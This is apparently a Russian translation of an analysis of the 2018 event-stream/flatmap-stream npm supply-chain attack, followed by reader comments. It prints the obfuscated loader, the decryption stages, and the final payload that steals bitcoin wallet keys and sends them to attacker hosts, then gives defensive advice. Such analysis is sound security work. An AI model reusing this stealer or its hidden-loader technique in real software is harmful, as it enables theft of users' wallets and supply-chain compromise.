Если вы работаете с Javascript, то скорее всего вы заметили много шума об уязвимости в npm-пакете event-stream. (На Хабре тоже опубликовали пост об этом — пер.) К сожалению, детальный анализ ситуации похоронен под более чем 600 комментариями в issue на Github, большая часть которых – флейм о состоянии npm, open-source в целом и т.д. Я подумал, что это плохо, потому что нам самом деле бэкдор исключительно умный и интересный с технической точки зрения, а также преподает нам важный урок о том, как поддерживать безопасность в приложениях на Javascript. Так что я решил написать пост с детальным объяснением, как сработала эта атака и что может сделать Javascript сообщество, чтобы лучше защититься от подобных атак в будущем.


Перед тем как я начну, я хочу поблагодарить FallingSnow, maths22, и joepie91 за их прекрасное расследование. Они сделали всю сложную работу по анализу уязвимости и выяснению, что она делает. Далее по тексту я буду цитировать их результаты с указанием авторства, но я думаю, что стоит явным образом указать то, что я не сделал всю эту работу сам. Я лишь подытоживаю то, что выяснили другие.


Предыстория


event-stream это популярный npm-модуль, который содержит утилиты для работы с потоками данных внутри node.js приложения. Сейчас его скачивают более чем 1.9 миллион раз ежедневно. Однако, он не был в активной разработке уже несколько лет. Его автор, Доминик Тарр, поддерживает большое число других проектов и больше не использует этот модуль в личных проектах, так что он оказался без внимания.


Примерно в середине сентября, некий пользователь с ником right9ctrl (аккаунт на GitHub сейчас удален) предложил взять поддержку модуля на себя. Доминик согласился и дал right9ctrl права доступа на Github и npm. История коммитов выглядит безобидно на первый взгляд:



Скриншот истории коммитов в event-stream на Github


9 сентября right9ctrl добавил новый модуль flatmap-stream в зависимости, чтобы реализовать функциональность flatmap для event-stream (вполне уместное решение, так как event-stream уже имел похожие утилиты, например обычный map). Затем, 16 сентября, right9ctrl удалил зависимость flatmap-stream и реализовал метод flatmap напрямую. И снова, ничего не вызывает беспокойства, нет ничего необычного в том, чтобы добавить новую зависимость, а потом через несколько дней решить, что будет лучше реализовать то же самое самостоятельно.


Атака


Библиотека flatmap-stream тоже выглядит безвредно – в самом деле, она содержит реализацию flat map для потоков данных (хотя кое-что должно насторожить – у библиотеки только один контрибьютор и никаких скачиваний с npm до этого момента).



Скриншот страницы flatmap-stream на GitHub


Однако, версия этого модуля, опубликованная в npm, содержала в себе дополнительный код в минифицированном файле, который вы вполне можете и не заметить, даже зная, что он там есть:


var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

Вредоносная часть здесь находится в конце, и она была специально обфусцирована, чтобы избежать обнаружения:


!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

В issue на Github FallingSnow восстановил исходный код закладки и показал, что там происходит:


// var r = require, t = process;

// function e(r) {
//     return Buffer.from(r, "hex").toString()
// }
function decode(data) {
    return Buffer.from(data, "hex").toString()
}

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
// o = t[e(n[3])][e(n[4])];
// npm_package_description = process[decode(n[3])][decode(n[4])];
npm_package_description = process['env']['npm_package_description'];

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),

// a = u.update(n[0], e(n[8]), e(n[9]));
// decoded = decipher.update(n[0], e(n[8]), e(n[9]));
decoded = decipher.update(n[0], 'hex', 'utf8');

console.log(n); // IDK why this is here...

// a += u.final(e(n[9]));
decoded += decipher.final('utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])

Итак, код загружает файл ./test/data.js, который также был внедрен в опубликованную версию в npm несмотря на отсутствие в исходниках на GitHub. Этот файл содержит массив строк, зашифрованных через AES256. Переменная окружения npm_package_description задается командой npm, когда код исполняется в контексте некоторого пакета, то есть корневой пакет, включающий цепочку зависимостей event-stream -> flatmap-stream, будет использоваться для установки npm_package_description (и других аналогичных переменных). (Прим пер.: иными словами, будет использоваться описание из файла package.json вашего проекта, в котором вы исполнили эту команду). Таким образом, код расшифровывает содержимое test/data.js используя npm_package_description в качестве ключа, а затем пытается исполнить результат.


Для подавляющего большинства пакетов это приведет к ошибке (которую вредоносный код тихо словит и проигнорирует), так как их описание не является правильным ключом для AES256 шифра и результатом расшифровки будет бессмыслица. Это очень целенаправленная атака на один конкретный пакет. maths22 и некоторые другие пользователи скачали список npm-модулей, которые зависят от event-stream, и перебором описаний этих модулей подобрали правильный ключ и нашли целевой пакет: это был copay-dash, платформа для биткоин-кошельков. Его описание, "A Secure Bitcoin Wallet", успешно расшифровывает содержимое test/data.js, показывая следующий код (любезно предоставленный joepie91):


/*@@*/
module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
        })
    } catch (e) {}
};

Этот код запускает еще один уровень расшифровки, на котором открывается финальный вредоносный скрипт:


/*@@*/ ! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();

Как вы уже могли догадаться, этот скрипт пытается своровать ваш биткоин-кошелек и загрузить его данные на сервер атакующего.


Обновлено: команда npm выпустила свой официальный отчет об инциденте, в котором объясняется, что вредоносный код был предназначен для запуска в релизном процессе Copay, чтобы заинжектить ворующий биткоины скрипт в код приложения кошелька Copay.


Итак, подведем итог


  • Популярная биткоин платформа copay-dash использует зависимость event-stream.
  • В сентябре примерно в течение недели event-stream содержал зависимость flatmap-stream, так как проект был передан новому разработчику, который добавил зависимость и удалил её неделю спустя.
  • flatmap-stream содержал спрятанный фрагмент в конце минифицированного кода, который пытался раскодировать строки из файла test/data.js, используя описание корневого пакета в качестве AES256-ключа.
  • Для любого обычного пакета это вызывало ошибку (так как описание пакета было неправильным ключом), которая тихо обрабатывалась. Но для copay-dash расшифровка выдавала валидный JavaScript, который запускал еще один этап расшифровки и выполнял вредоносный скрипт, который ворует ваш биткоин кошелек.

Что теперь делать?


Это была удивительно хитрая атака, сильно напоминающая январский пост, с описанием похожей гипотетической атаки. Атакующий умело замел свои следы – код и история коммитов на Github показывают безвредную и не вызывающую подозрений ситуацию (новый разработчик присоединяется к проекту, добавляет фичу, а потом слегка меняет её реализацию). Кроме подозрительных знаков в flatmap-stream (новый пакет, нет контрибьюторов и статистики скачиваний), атака получилась практически незаметной. И в самом деле, она не была обнаружена в течение 2 месяцев и была найдена только сейчас, потому что атакующий допустил маленькую ошибку, используя устаревший метод crypto.createDecipher вместо crypto.createDecipheriv, что вызвало подозрительное сообщение об использовании устаревшего метода в другой библиотеке, которая использует event-stream.


К сожалению, подобный тип атак не уйдет от нас в ближайшее время. JavaScript является самым популярным языком в настоящее время, а значит он останется привлекательной целью для хакеров. JavaScript также имеет относительно немного функциональности в стандартной библиотеке по сравнению с другими языками, что вынуждает разработчиков использовать пакеты из npm – вместе с другими культурными факторами это приводит к тому, что JavaScript проекты обычно имеют огромное дерево зависимостей.


Стоит заметить, что хотя JavaScript приложения более подвержены к этому классу уязвимостей, это не обязательно является причиной того, что JavaScript является менее безопасным в целом. JavaScript обычно используется более активными разработчиками, которые стараются быть на волне прогресса, то есть их пользователи устанавливают больше пакетов и обновлений, в том числе и исправлений безопасности. В то же время, Java-приложение компании Equifax было взломано по прямо противоположной причине – они не устанавливали обновления безопасности для Apache Struts на протяжении месяцев. Такой вид уязвимостей менее вероятен в JavaScript приложениях. В конце концов, при выборе технологического стека для компании всегда встает вопрос безопасности. Важным уроком будет понимание возможных сценариев атаки на ваше конкретное решение и способность предвидеть их.


Что это значит для стека JavaScript? Здесь нет недостатка в идеях и предложениях, как npm или другие сообщества могли бы предотвратить такие атаки. Но для конечных пользователей, есть как минимум два базовых шага, как снизить свои риски:


  • Используйте lock-файлы. Неважно, будет ли это yarn.lock или package-lock.json, любой lock-файл гарантирует, что вы получите те же версии пакетов при каждой установке, то есть если вы в безопасности сегодня, то останетесь так же и завтра. Приложения, которые практикуют плавающие зависимости без использования lock-файлов в особенности уязвимы к вредоносным обновлениям, потому что они автоматически устанавливают последнюю доступную версию зависимостей, то есть вы можете быть скомпроментированы при каждом деплое, после того как одна из ваших зависимостей была скомпроментирована и была опубликована версия с уязвимостью. С lock-файлами вы по крайней мере ограничите свои риски ручными действиями разработчиков, которые добавляют и обновляют пакеты, что может быть перепроверено путем код-ревью или другими политиками компании.


  • Думайте перед тем как что-то ставить. Как показано выше, это не панацея, хакеры все так же могут проскользнуть через закладки в минифицированном коде, которые сложно найти, даже если знать что они там есть. Но нем не менее, вы сможете снизить свои риски, если вы будете придерживаться популярных и активно поддерживаемых пакетов. Перед установкой новой зависимости, сперва спросите себя, а нужна или она вам в самом деле. Если вы уже знаете, как писать код, и это не займет больше десятка строк, просто напишите его сами. Если вам все-таки нужна зависимость, оцените её перед установкой. Сколько у нее скачиваний на npm? Выглядит ли репозиторий на Github активно обновляющимся? Был ли пакет недавно обновлен? Если нет, подумайте о возможности сделать форк, и использовать его. Это снизит риски, потому что вы не будете подвержены будущим опасным обновлениям, вы сможете прочесть и минифицировать исходный код самостоятельно и быть уверенным, что он на самом деле содержит и делает.


Комментарии (26)


  1. HgeN
    28.11.2018 15:36
    +1

    Даже популярные библиотеки не застрахованы от такого рода атак. Поэтому стоит действовать будто ваш код уже заражён.

    На фронте стоит использовать CSP и IFrame
    На бэкэнде — изоляция контейнера от внешней среды и мониторинг странных запросов

    Может и ещё что-то есть, знающие — подскажите.


  1. JTG
    28.11.2018 17:59
    +1

    Думайте перед тем как что-то ставить
    npm install:



    Думаю, если бы JS наконец обзавёлся тем, что в других языках называется «стандартной библиотекой», проблем бы немного убавилось.


    1. dark_ruby
      28.11.2018 19:21

      в ноде достаточно обширная стандартная библиотека, так что это не поможет.


  1. kubk
    29.11.2018 00:44
    +1

    Не понятно зачем на бекенде использовать минифицированную версию библиотеки? Это ведь не фронтенд, где стоит стремиться к уменьшению размера итогового бандла.


    1. justboris Автор
      29.11.2018 00:50

      Иногда вместе с минификацией из кода вырезаются неиспользуемые части, например информация для отладки. В этом случае минимизированный код будет быстрее его обычной версии. Так делает, например, lodash. Вот тут есть объяснение от автора библиотеки


      Но конкретно в этом случае – это было сделано, чтобы получше замести следы. Никто же не всматривается в минифицированный код?


      1. Deosis
        29.11.2018 07:32

        Что мешает при импорте генерировать минифицированную версию?


    1. powerman
      29.11.2018 05:07

      Непонятно другое, зачем вообще распространять минифицированные библиотеки через npm — все, кто заботится о минификации, в любом случае собирают проект инструментами, которые минифицируют код проекта — почему бы не использовать этот же процесс и для минификации зависимостей? Это бы немного усложнило сокрытие вредоносного кода, потому что любой не читаемый код автоматически бы вызывал подозрение.


      1. mayorovp
        29.11.2018 08:56
        +1

        Потому что в самом начале не подумали, а теперь уже поздновато…


        1. Naves
          29.11.2018 09:40

          А сейчас нельзя разве на уровне npm внести политику качества кода, чтобы публиковалась только полная версия. Далее роботом сканируется весь репозиторий, на все минифицированные приложения вешается плашка недоверенного кода. Через полгода блокируется скачивание таких приложений через менеджер, только отдельный просмотр. Разработчики или переписывают код, или пакет блокируется. Самому репозиторию плюс в безопасность. Кому нужна минификация, тот делает это у себя на этапе импорта/разворачивания.


          1. mayorovp
            29.11.2018 09:57

            А что делать с пользователями заблокированных библиотек, у которых сломается сборка?


            1. Naves
              29.11.2018 10:18
              -1

              Пинать владельца пакета, у него полгода было на осознание новых правил. Либо форкать и собирать самому. Делать примерно все тоже самое, когда меняется версия стандарта/платформы/фреймворка/браузера и перестаёт работать какой-то плагин. Не в первый и не в последний раз же.


              1. mayorovp
                29.11.2018 10:29

                Но в реальности большинство пользователей форкнут старый репозиторий. Потом какой-то из этих форков станет основным, и все будут им пользоваться. А npmjs — умрет.

                Потому что безопасность безопасностью, а воспроизводимость старых билдов без серьезных причин нарушать нельзя.


      1. Crysknife
        29.11.2018 09:58

        Потому что если мой npm run dev начнет обфусцировать также 100500 зависимостей из node_modules, то хот-релоад начнет работать один раз в день.
        Добросовестные разработчики и так добавляют необфусцированную версию своей библиотеки в отдельную папку в репозитории. Через npm подтягивается минифицированная версия, а если ты хочешь посмотреть, что там в библиотеке происходит — добро пожаловать на github, тут у тебя есть полная версия с человекопонятными названиями переменных, комментариями по jsdoc'у, в общем рай. Но это конечно идеальный случай


        1. el777
          29.11.2018 10:49

          Добросовестные разработчики

          Так новый разработчик таким и выглядел по началу )
          А дальше положил в GitHub необфусцированную хорошую версию, а в минифицированную сборку — с закладкой. Ведь никто не делает контрольную минификацию и сверку для проверки закладок.


          если мой npm run dev начнет обфусцировать также 100500 зависимостей из node_modules, то хот-релоад начнет работать один раз в день.

          Мне кажется нет ничего плохого, если код зависимостей будет собран один раз и потом минифициован и закеширован с привязкой к конкретной версии. Тогда хот-релоад своего кода не будет каждый раз пересобтрать зависимости. А если их версия изменилась, то еще раз собрать не проблемы.


        1. staticlab
          29.11.2018 12:41

          А зачем у вас dev обфусцирует? Это должен только release build делать.


        1. powerman
          29.11.2018 12:46

          А зачем это делать при каждом запуске, зависимости-то изменяются редко, а минифицировать повторно нужно только изменившиеся файлы. Так что тормознёт только первый запуск, и большой беды в этом быть не должно.


      1. sshikov
        30.11.2018 23:12

        Вы хотите сказать, что весь код своих зависимостей читаете? ;)


        1. powerman
          30.11.2018 23:22

          Нет, к сожалению. Мне пока не попадались проекты, в которых хватало бы на это ресурсов. Но я крайне придирчиво отбираю используемые в проекте библиотеки, и нередко реализую нужный функционал самостоятельно вместо того, чтобы добавить ещё одну зависимость в проект.


          Здесь требуется баланс, если вообще всё писать самостоятельно то получится стадо велосипедов, которые постоянно нужно допиливать, и на написание которых уйдёт безумное количество времени, которого у большинства проектов тупо нет… но если для любой мелкой проблемы искать готовые решения — результат будет ничуть не лучше, потому что каждая лишняя зависимость помимо быстрого решения текущей проблемы тащит с собой кучу новых проблем и рисков.


          1. sshikov
            01.12.2018 13:57

            >Мне пока не попадались проекты, в которых хватало бы на это ресурсов.

            Мне тоже. Я бы даже так сказал — если у вас внезапно хватило времени проанализировать чужой код полноценно — вы могли бы за сравнимое время написать свой.

            Более того, я подозреваю, что задача review кода зависимостей аналогична тому, что делают антивирусы — является ли поведение данного компонента легальным, или это вредонос? И она не решается полноценно ни одним инструментом. Если вообще решается, даже теоретически.

            Ведь в данном конкретном примере были задействованы всего лишь два компонента, а представим себе, что их десяток, и вредоносный код размазан по всем. И работает, если они все установлены. Когда анализируем код компонента отдельно, находим там вполне безобидные функции.

            Что это у нас тут? Ага, сера. Селитра. Уголь. Вроде все по отдельности безопасны. И только когда их смешали — получился порох.

            Все что нужно — создать условия, чтобы все нужные компоненты оказались в одном месте. Реклама, социальная инженерия, еще что-то из той же оперы, на выходе получается бабах.


            1. powerman
              01.12.2018 14:14

              вы могли бы за сравнимое время написать свой

              Возможно, но это не повод писать свой. Проблема велосипедов не в том, чтобы их написать достаточно хорошо, а в том, что после написания начинается процесс поддержки. Кроме того, автор чужого кода нередко обладает большей компетенцией в данной области, у его варианта уже сложилось коммьюнити, которое репортит ему и помогает заточить решение под реальные use cases — в общем, ввязываться в поддержку своего варианта по причине "я такое могу сам написать не хуже" — дурная идея. Исключение — ситуации, когда поддержки явно не потребуется.


              В остальном Вы правы, но напрашивающееся решение не использовать вообще сторонних зависимостей — это не решение, потому что обойдётся намного дороже аудита сторонних зависимостей.


              1. sshikov
                01.12.2018 14:20

                >Возможно, но это не повод писать свой.

                Да нет, конечно не повод. Это просто оценка времени и констатация того факта, то нормальный аудит очень дорог, и при этом не надежен.


        1. staticlab
          01.12.2018 14:29

          Притом читать нужно не только код dependencies, но и код devDependencies, а то какая-нибудь зависимость вебпака третьего порядка может напихать в бандл отсылку всех паролей.


  1. Grammidin
    30.11.2018 11:14
    +1

    Это, конечно, плохо. Воровство. Но придумано круто, тонкая работа.


  1. Getman_s
    01.12.2018 00:22

    Все кто пользуется средой для разработки PlatformIO, будьте осторожны. Она тащит за собой модуль flatmap-stream. Антивирус «Лаборатории Касперского» вчера эту штуку детектировать научился.


    1. justboris Автор
      01.12.2018 00:23

      Как это может быть возможно, если модуль был удален из NPM насовсем?


  1. Getman_s
    01.12.2018 18:32

    Ставил PlatformIO давно, не обновлял и не пользовался некоторое время. Вчера антивирус детектировал модуль flatmap-stream. Возможно, надо обновить или переустановить PlatformIO.